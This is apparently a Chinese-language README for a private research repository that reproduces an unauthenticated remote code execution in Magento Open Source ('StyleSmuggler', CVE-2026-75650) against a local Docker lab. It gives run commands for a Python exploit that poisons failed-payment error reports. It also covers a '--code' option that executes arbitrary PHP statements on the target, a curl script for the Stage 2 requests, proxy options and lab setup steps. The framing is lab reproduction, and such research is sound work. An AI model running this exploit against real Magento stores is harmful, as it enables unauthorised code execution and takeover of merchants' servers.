针对本地 Magento Open Source 实验环境,对 StyleSmuggler(CVE-2026-75650)进行纯 HTTP 复现的私有研究仓库。
完整技术解析请阅读 Magento StyleSmuggler RCE: Report Poisoning to Code Execution。
该 Python PoC 执行完整的未认证攻击序列:
type、text 和 styles 触发失败支付渲染;它从不将辅助脚本复制到容器中,也不通过 Docker 调用扫描器。Python 标准库已足够。
python3 exploit.py --target http://localhost:18082
最终输出必须包含 RCE VERIFIED 以及该次运行中先前打印的同一个新生成的 STYLESMUGGLER_RUN_... 标记。已有的 canary 无法通过校验,因为每次运行都会生成新的标记。
报告路径必须是目标 PHP 进程所看到的路径。当 Magento 使用其他文档根目录时,请覆盖该路径:
python3 exploit.py \
--target http://localhost:18082 \
--report-dir /srv/magento/var/report
传入 PHP 语句时不要包含 <?php 或 ?>:
python3 exploit.py \
--target http://localhost:18082 \
--code 'file_put_contents(getcwd()."/custom-test.txt", "PHP ".PHP_VERSION.PHP_EOL);'
curl -sS http://localhost:18082/custom-test.txt
该 PoC 会在执行所提供的代码片段之前写入其新生成的验证标记,并在之后仍然验证该标记。
每个请求,包括报告污染和最终的 canary 获取,都可以通过 HTTP 代理发送:
python3 exploit.py \
--target http://localhost:18082 \
--proxy http://127.0.0.1:8082
对于 HTTPS 目标,如果其被拦截的证书不被 Python 信任,请添加 --proxy-insecure。
curl_failed_payment.sh 执行四个 Stage 2 请求,并标注每个请求所到达的 Magento 组件。它需要 curl、jq 和 openssl:
./curl_failed_payment.sh /var/www/html/var/report/REPORT_ID
通过环境变量设置其他目标或 Burp 监听器:
MAGENTO_URL=http://localhost:18082 \
BURP_PROXY=http://127.0.0.1:8082 \
./curl_failed_payment.sh /var/www/html/var/report/REPORT_ID
docker-compose.yml 在 127.0.0.1:18082 上提供隔离的 MySQL、OpenSearch 和 PHP/Apache 服务。它期望在 ./magento2-src 处有一个已安装的 Magento 源代码树。
最终干净验证使用的 Magento 提交为:
f8405be831efa461ec18cc5a637cd98afa767015
在运行 Magento 常规的 setup:install 流程之前,克隆源代码并安装其 Composer 依赖:
git clone --filter=blob:none --branch 2.4-develop \
https://github.com/magento/magento2.git magento2-src
git -C magento2-src checkout f8405be831efa461ec18cc5a637cd98afa767015
docker compose build web
docker compose up -d db opensearch
docker compose run --rm web composer install --no-interaction
在以数据库主机 db、OpenSearch 主机 opensearch 和基础 URL http://localhost:18082/ 安装 Magento 之后,启动 Web 服务:
docker compose up -d web
docker compose ps